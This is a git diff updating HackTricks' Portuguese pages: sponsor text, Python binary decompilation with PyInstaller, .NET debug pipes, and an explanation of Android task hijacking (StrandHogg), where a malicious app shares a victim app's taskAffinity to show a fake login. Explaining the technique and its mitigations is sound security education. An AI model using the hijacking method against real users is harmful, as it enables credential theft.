Translated ['README.md', 'forensics/basic-forensic-methodology/specific-

This commit is contained in:
Translator 2023-08-30 09:46:34 +00:00
parent 8705bdc86d
commit a3032a9f00
29 changed files with 305 additions and 270 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 7.5 KiB

View file

@ -24,17 +24,17 @@ _Sua empresa poderia estar aqui_
![](<.gitbook/assets/image (642) (1) (1) (1).png>) ![](<.gitbook/assets/image (642) (1) (1) (1).png>)
[**STM Cyber**](https://www.stmcyber.com) é uma ótima empresa de cibersegurança cujo slogan é **HACKEIE O INVIOLÁVEL**. Eles realizam suas próprias pesquisas e desenvolvem suas próprias ferramentas de hacking para **oferecer vários serviços valiosos de cibersegurança** como pentesting, equipes de Red e treinamento. [**STM Cyber**](https://www.stmcyber.com) é uma ótima empresa de segurança cibernética cujo slogan é **HACKEIE O INVIOLÁVEL**. Eles realizam suas próprias pesquisas e desenvolvem suas próprias ferramentas de hacking para **oferecer vários serviços valiosos de segurança cibernética** como pentesting, equipes vermelhas e treinamento.
Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://blog.stmcyber.com) Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** também apoia projetos de código aberto de cibersegurança como o HackTricks :) **STM Cyber** também apoia projetos de código aberto de segurança cibernética como o HackTricks :)
### [RootedCON](https://www.rootedcon.com/) ### [RootedCON](https://www.rootedcon.com/)
<figure><img src=".gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas. [**RootedCON**](https://www.rootedcon.com) é o evento de segurança cibernética mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e segurança cibernética em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -42,9 +42,9 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
![](.gitbook/assets/i3.png) ![](.gitbook/assets/i3.png)
**Intigriti** é a plataforma de ethical hacking e bug bounty **número 1 da Europa**. **Intigriti** é a plataforma de ethical hacking e **bug bounty número 1 da Europa.**
Dica de bug bounty: **cadastre-se** no **Intigriti**, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**! Dica de bug bounty: **cadastre-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -53,12 +53,26 @@ Dica de bug bounty: **cadastre-se** no **Intigriti**, uma plataforma premium de
<figure><img src=".gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
\ \
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo. Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo: Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### [Intruder](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Fique um passo à frente no jogo da segurança cibernética.
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) torna a gestão de vulnerabilidades fácil. Acompanhe sua superfície de ataque, veja onde sua empresa está vulnerável e priorize problemas que deixam seus sistemas mais expostos para que você possa se concentrar no que mais importa.
Execute milhares de verificações com uma única plataforma que abrange toda a sua pilha de tecnologia, desde infraestrutura interna até aplicativos da web, APIs e sistemas em nuvem. Integre perfeitamente com [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) e agilize o DevOps para que sua equipe possa implementar correções mais rapidamente.
O Intruder nunca descansa. A proteção 24/7 monitora seus sistemas o tempo todo. Quer saber mais? Visite o site deles e experimente [**um teste gratuito**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
### [HACKENPROOF](https://bit.ly/3xrrDrL) ### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
@ -84,46 +98,44 @@ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leader
<figure><img src=".gitbook/assets/logo.svg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/logo.svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) é uma empresa profissional de cibersegurança sediada em **Amsterdã** que ajuda a **proteger** empresas **em todo o mundo** contra as últimas ameaças de cibersegurança, fornecendo serviços de **segurança ofensiva** com uma abordagem **moderna**. [**WebSec**](https://websec.nl) é uma empresa profissional de segurança cibernética sediada em **Amsterdã** que ajuda a **proteger** empresas **em todo o mundo** contra as últimas ameaças de segurança cibernética, fornecendo serviços de **segurança ofensiva** com uma abordagem **moderna**.
A WebSec é uma **empresa de segurança completa**, o que significa que eles fazem de tudo; Pentesting, Auditorias de **Segurança**, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais. A WebSec é uma **empresa de segurança completa**, o que significa que eles fazem de tudo; Pentesting, Auditorias de Segurança, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
Outra coisa legal sobre a WebSec é que, ao contrário da média do setor, a WebSec tem **muita confiança em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, como afirma em seu site "**Se não conseguirmos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)! Outra coisa legal sobre a WebSec é que, ao contrário da média do setor, a WebSec tem **muita confiança em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, como afirma em seu site "**Se não conseguirmos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
Além disso, a WebSec também é uma **apoiadora comprometida do HackTricks**. Além do acima, a WebSec também é um **apoiador comprometido do HackTricks**.
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
### [DragonJAR](https://www.dragonjar.org/) ### [DragonJAR](https://www.dragonjar.org/)
<figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR é uma empresa líder em cibersegurança ofensiva**](https://www.dragonjar.org/) **localizada na Colômbia**. A DragonJAR oferece [serviços abrangentes de cibersegurança ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) em várias áreas e praticamente **qualquer tecnologia**, simulações de ataque **Red Team**, testes de segurança **física**, testes de estresse, engenharia social, revisão de segurança de **código-fonte** e treinamento em cibersegurança. Além disso, eles organizam a **DragonJAR Security Conference**, [um congresso internacional de cibersegurança](https://www.dragonjarcon.org/) que acontece há mais de uma década, tornando-se um ponto de referência para as últimas pesquisas de segurança em espanhol e de grande relevância na região. [**DragonJAR é uma empresa líder em cibersegurança ofensiva**](https://www.dragonjar.org/) **localizada na Colômbia**. A DragonJAR oferece [serviços abrangentes de cibersegurança ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) em várias áreas e praticamente **qualquer tecnologia**, simulações de ataque **Red Team**, testes de segurança **física**, testes de estresse, engenharia social, revisão de segurança de **código-fonte** e treinamento em cibersegurança. Além disso, eles organizam a **DragonJAR Security Conference**, [um congresso internacional de cibersegurança](https://www.dragonjarcon.org/) que acontece há mais de uma década, tornando-se uma vitrine para as últimas pesquisas de segurança em espanhol e de grande relevância na região.
[**DragonJAR es una empresa líder en ciberseguridad ofensiva**](https://www.dragonjar.org/) **ubicada en Colombia**. DragonJAR ofrece [servicios integrales de ciberseguridad ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) en diversas áreas y prácticamente **cualquier tecnología**, simulaciones de ataque **Red Team**, pruebas de seguridad **física**, **pruebas de estrés**, ingeniería social, revisión de seguridad en **código fuente** y capacitación en ciberseguridad. Además, organizan la **DragonJAR Security Conference**, [un congreso internacional de ciberseguridad](https://www.dragonjarcon.org/) que se ha llevado a cabo durante más de una década, convirtiéndose en un escaparate para las últimas investigaciones de seguridad en español y de gran relevancia en la región.
### [SYN CUBES](https://www.syncubes.com/) ### [SYN CUBES](https://www.syncubes.com/)
<figure><img src=".gitbook/assets/image (10) (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (10) (2) (1).png" alt=""><figcaption></figcaption></figure>
A plataforma **Security Skills as a Service** preenche a lacuna atual de habilidades combinando **talento global de segurança ofensiva com automação inteligente**, fornecendo dados em tempo real que você precisa para tomar decisões informadas. A plataforma **Security Skills as a Service** preenche a lacuna atual de habilidades combinando **talento global em segurança ofensiva com automação inteligente**, fornecendo dados em tempo real que você precisa para tomar decisões informadas.
{% embed url="https://www.syncubes.com/" %} {% embed url="https://www.syncubes.com/" %}
## Licença ## Licença
**Direitos autorais © Carlos Polop 2023. Exceto onde especificado de outra forma (as informações externas copiadas para o livro pertencem aos autores originais), o texto em** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop está licenciado sob a** [**Atribuição-NãoComercial 4.0 Internacional (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\ **Direitos autorais © Carlos Polop 2023. Exceto onde especificado o contrário (as informações externas copiadas para o livro pertencem aos autores originais), o texto em** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop está licenciado sob a** [**Atribuição-NãoComercial 4.0 Internacional (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
**Se você deseja usá-lo para fins comerciais, entre em contato comigo.** **Se você deseja usá-lo para fins comerciais, entre em contato comigo.**
## **Aviso Legal** ## **Aviso Legal**
{% hint style="danger" %} {% hint style="danger" %}
Este livro, 'HackTricks', destina-se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido "como está" e os autores e editores não fazem representações ou garantias de qualquer tipo, expressas ou implícitas, sobre a integridade, precisão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você depositar em tais informações é estritamente de seu próprio risco. Este livro, 'HackTricks', destina-se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido "como está", e os autores e editores não fazem representações ou garantias de qualquer tipo, expressas ou implícitas, sobre a integridade, precisão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você depositar em tais informações é, portanto, estritamente de seu próprio risco.
Os autores e editores não serão responsáveis, em nenhuma circunstância, por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequente, ou qualquer perda ou dano decorrente de perda de dados ou lucros decorrentes do uso deste livro. Os autores e editores não serão responsáveis, em nenhuma circunstância, por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequente, ou qualquer perda ou dano decorrente de perda de dados ou lucros decorrentes do uso deste livro.
Além disso, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não apoiam ou apoiam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é de responsabilidade e critério do usuário. Além disso, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não apoiam ou apoiam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é de responsabilidade e critério do usuário.
O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro e deve sempre procurar aconselhamento profissional e assistência ao tentar implementar qualquer uma das técnicas ou dicas descritas aqui. O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro e deve sempre buscar aconselhamento e assistência profissional ao tentar implementar qualquer uma das técnicas ou dicas descritas aqui.
Ao usar este livro, o usuário concorda em liberar os autores e editores de qualquer responsabilidade por quaisquer danos, perdas ou danos que possam resultar do uso deste livro ou de qualquer uma das informações contidas nele. Ao usar este livro, o usuário concorda em liberar os autores e editores de qualquer responsabilidade por quaisquer danos, perdas ou danos que possam resultar do uso deste livro ou de qualquer uma das informações contidas nele.
{% endhint %} {% endhint %}
@ -136,6 +148,6 @@ Ao usar este livro, o usuário concorda em liberar os autores e editores de qual
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,4 +1,4 @@
# Descompilar binários python compilados (exe, elf) - Recuperar de .pyc # Descompilar binários compilados de Python (exe, elf) - Recuperar de .pyc
<details> <details>
@ -12,7 +12,7 @@
</details> </details>
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -112,7 +112,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
``` ```
## Analisando o assembly do Python ## Analisando o assembly do Python
Se você não conseguiu extrair o código "original" do Python seguindo as etapas anteriores, então você pode tentar extrair o assembly (mas não é muito descritivo, então tente extrair novamente o código original). Aqui encontrei um código muito simples para desmontar o arquivo binário _.pyc_ (boa sorte em entender o fluxo do código). Se o _.pyc_ for do Python 2, use o python2: Se você não conseguiu extrair o código "original" do Python seguindo as etapas anteriores, então você pode tentar extrair o assembly (mas não é muito descritivo, então tente extrair novamente o código original). Aqui encontrei um código muito simples para desmontar o arquivo binário _.pyc_ (boa sorte em entender o fluxo do código). Se o _.pyc_ for do Python 2, use o Python 2:
```bash ```bash
>>> import dis >>> import dis
>>> import marshal >>> import marshal
@ -194,7 +194,7 @@ Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
### Para criar um payload usando o PyInstaller: ### Para criar um payload usando o PyInstaller:
1. Instale o PyInstaller usando o pip (pip install pyinstaller). 1. Instale o PyInstaller usando o pip (pip install pyinstaller).
2. Em seguida, digite o comando "pyinstaller --onefile hello.py" (lembrando que 'hello.py' é o nosso payload). Isso irá agrupar tudo em um único executável. 2. Em seguida, digite o comando "pyinstaller --onefile hello.py" (lembre-se de que 'hello.py' é o nosso payload). Isso irá agrupar tudo em um único executável.
``` ```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1 108 INFO: PyInstaller: 3.3.1
@ -211,7 +211,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -21,7 +21,7 @@ Ele cria dois pipes nomeados por processo .Net em [dbgtransportsession.cpp#L127]
Portanto, se você acessar o diretório **`$TMPDIR`** do usuário, poderá encontrar **fifos de depuração** que podem ser usados para depurar aplicações .Net: Portanto, se você acessar o diretório **`$TMPDIR`** do usuário, poderá encontrar **fifos de depuração** que podem ser usados para depurar aplicações .Net:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
A função [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) lidará com a comunicação de um depurador. A função [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) lidará com a comunicação de um depurador.

View file

@ -1,89 +1,99 @@
# Tarefa, Pilha de Retorno e Atividades em Primeiro Plano # Android Task Hijacking
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Tarefa, Pilha de Retorno e Atividades em Primeiro Plano
Uma tarefa é uma coleção de atividades com as quais os usuários interagem ao realizar um determinado trabalho. As atividades são organizadas em uma pilha - a _**pilha de retorno**_ - na ordem em que cada atividade é aberta. Uma tarefa é uma coleção de atividades com as quais os usuários interagem ao realizar um determinado trabalho. As atividades são organizadas em uma pilha - a _**pilha de retorno**_ - na ordem em que cada atividade é aberta.
A atividade que está **exibida** na tela é chamada de **atividade em primeiro plano** e sua **tarefa** é chamada de **tarefa em primeiro plano**. Em um determinado momento, apenas **uma tarefa em primeiro plano é visível na tela**. A atividade que está **exibida** na tela é chamada de **atividade em primeiro plano** e sua **tarefa** é chamada de **tarefa em primeiro plano**. Em um determinado momento, apenas **uma tarefa em primeiro plano é visível na tela**.
Este é um fluxo simples de atividade: Aqui está um fluxo de atividade simples:
* Há apenas a Atividade 1 em primeiro plano. * Há apenas a Atividade 1 em primeiro plano.
* A Atividade 2 é iniciada, o que empurra a Atividade 1 para a Pilha de Retorno. Agora a Atividade 2 está em primeiro plano. * A Atividade 2 é iniciada, o que coloca a Atividade 1 na Pilha de Retorno. Agora a Atividade 2 está em primeiro plano.
* A Atividade 3 é iniciada, o que empurra tanto a Atividade 1 quanto a 2 para a Pilha de Retorno. * A Atividade 3 é iniciada, o que coloca tanto a Atividade 1 quanto a 2 na Pilha de Retorno.
* Agora, quando a Atividade 3 é fechada, a atividade anterior, ou seja, 2, é trazida automaticamente para o primeiro plano. É assim que a navegação de tarefas funciona no Android. * Agora, quando a Atividade 3 é fechada, a atividade anterior, ou seja, 2, é trazida automaticamente para o primeiro plano. É assim que a navegação de tarefas funciona no Android.
![](<../../.gitbook/assets/image (548).png>) ![](<../../.gitbook/assets/image (548).png>)
## Multitarefa do Android - Uma Tarefa ### Multitarefa no Android - Uma Tarefa
Uma tarefa é composta por várias atividades Uma tarefa é composta por várias atividades
![](<../../.gitbook/assets/image (549).png>) ![](<../../.gitbook/assets/image (549).png>)
## Multitarefa do Android - Várias Tarefas ### Multitarefa no Android - Várias Tarefas
O Android geralmente gerencia várias tarefas O Android geralmente gerencia várias tarefas
![](<../../.gitbook/assets/image (550).png>) ![](<../../.gitbook/assets/image (550).png>)
# Controles de Tarefa ## Controles de Tarefa
![](<../../.gitbook/assets/image (551).png>) ![](<../../.gitbook/assets/image (551).png>)
# Ataque de Afinidade de Tarefa ## Ataque de Afinidade de Tarefa
## Afinidade de Tarefa e Modos de Inicialização ### Afinidade de Tarefa e Modos de Inicialização
A **afinidade de tarefa** é um atributo definido em cada tag `<activity>` no arquivo `AndroidManifest.xml`. Ele descreve a qual tarefa uma atividade prefere se juntar.\ **Afinidade de tarefa** é um atributo definido em cada tag `<activity>` no arquivo `AndroidManifest.xml`. Ele descreve a qual tarefa uma atividade prefere se juntar.\
Por padrão, cada atividade tem a mesma afinidade que o **nome do pacote**. Por padrão, cada atividade tem a mesma afinidade que o nome do **pacote**.
Vamos usar isso ao criar nosso aplicativo PoC. Vamos usar isso ao criar nosso aplicativo PoC.
```markup ```markup
<activity android:taskAffinity=""/> <activity android:taskAffinity=""/>
``` ```
**Modos de lançamento** permitem definir como uma nova instância de uma atividade está associada à tarefa atual. O atributo [`launchMode`](https://developer.android.com/guide/topics/manifest/activity-element#lmode) especifica uma instrução sobre como a atividade deve ser lançada em uma tarefa. Existem quatro modos de lançamento diferentes: **Modos de lançamento** permitem definir como uma nova instância de uma atividade está associada à tarefa atual. O atributo [`launchMode`](https://developer.android.com/guide/topics/manifest/activity-element#lmode) especifica uma instrução sobre como a atividade deve ser lançada em uma tarefa.\
Existem quatro modos de lançamento diferentes:
1. padrão (padrão) 1. padrão (padrão)
2. singleTop 2. singleTop
3. **singleTask** 3. **singleTask**
4. singleInstance 4. singleInstance
Quando o `launchMode` é definido como `singleTask`, o sistema Android avalia três possibilidades e uma delas é a razão pela qual nosso ataque é possível. Aqui estão elas: Quando o `launchMode` é definido como `singleTask`, o sistema Android avalia três possibilidades e uma delas é a razão pela qual nosso ataque é possível. Aqui estão elas -
* **Se a instância da atividade já existe**:\ * **Se a instância da atividade já existe**:\
O Android retoma a instância existente em vez de criar uma nova. Isso significa que há no máximo uma instância de atividade no sistema sob este modo. O Android retoma a instância existente em vez de criar uma nova. Isso significa que há no máximo uma instância de atividade no sistema sob este modo.
* **Se for necessário criar uma nova instância de atividade**:\ * **Se for necessário criar uma nova instância da atividade**:\
O Serviço de Gerenciador de Atividades (AMS) seleciona uma tarefa para hospedar a nova instância criada encontrando uma tarefa "correspondente" em todas as tarefas existentes. **Uma atividade "corresponde" a uma tarefa se elas têm a mesma afinidade de tarefa**. Esta é a razão pela qual podemos **especificar a mesma afinidade de tarefa que o aplicativo vulnerável em nosso aplicativo de malware/atacante para que ele seja lançado em sua tarefa em vez de criar a sua própria**. O Serviço de Gerenciador de Atividades (AMS) seleciona uma tarefa para hospedar a nova instância criada encontrando uma tarefa "correspondente" em todas as tarefas existentes. **Uma atividade "corresponde" a uma tarefa se elas têm a mesma afinidade de tarefa**. Esta é a razão pela qual podemos **especificar a mesma afinidade de tarefa do aplicativo vulnerável em nosso aplicativo de malware/atacante para que ele seja lançado em sua tarefa em vez de criar sua própria**.
* **Sem encontrar uma tarefa "correspondente"**:\ * **Sem encontrar uma tarefa "correspondente"**:\
O AMS cria uma nova tarefa e torna a nova instância de atividade a atividade raiz da tarefa recém-criada. O AMS cria uma nova tarefa e torna a nova instância da atividade a atividade raiz da tarefa recém-criada.
## Ataque ### Ataque
A vítima precisa ter o **aplicativo malicioso instalado** em seu dispositivo. Em seguida, ele precisa **abri-lo** antes de abrir o **aplicativo vulnerável**. Então, quando o **aplicativo vulnerável é aberto**, o **aplicativo malicioso** será **aberto em seu lugar**. Se este aplicativo malicioso apresentar o **mesmo login** que o aplicativo vulnerável, o **usuário não terá meios de saber que está inserindo suas credenciais em um aplicativo malicioso**. A vítima precisa ter o **aplicativo malicioso** instalado em seu dispositivo. Em seguida, ele precisa **abri-lo** antes de abrir o **aplicativo vulnerável**. Então, quando o **aplicativo vulnerável** é **aberto**, o **aplicativo malicioso** será **aberto** **em seu lugar**. Se este aplicativo malicioso apresentar o **mesmo login** que o aplicativo vulnerável, o **usuário não terá meios de saber que está inserindo suas credenciais em um aplicativo malicioso**.
**Você pode encontrar um ataque implementado aqui:** [**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg) **Você pode encontrar um ataque implementado aqui:** [**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)
# Prevenindo o sequestro de tarefas ## Prevenindo o sequestro de tarefas
Definir `taskAffinity=""` pode ser uma solução rápida para este problema. O modo de lançamento também pode ser definido como **singleInstance** se o aplicativo não quiser que outras atividades se juntem a tarefas pertencentes a ele. Uma função personalizada **onBackPressed()** também pode ser adicionada para substituir o comportamento padrão. Definir **`taskAffinity=""`** pode ser uma solução rápida para esse problema. O modo de lançamento também pode ser definido como **singleInstance** se o aplicativo não quiser que outras atividades se juntem às tarefas a que pertence. Uma função personalizada **onBackPressed()** também pode ser adicionada para substituir o comportamento padrão.
# **Referências** ## **Referências**
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/) * [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
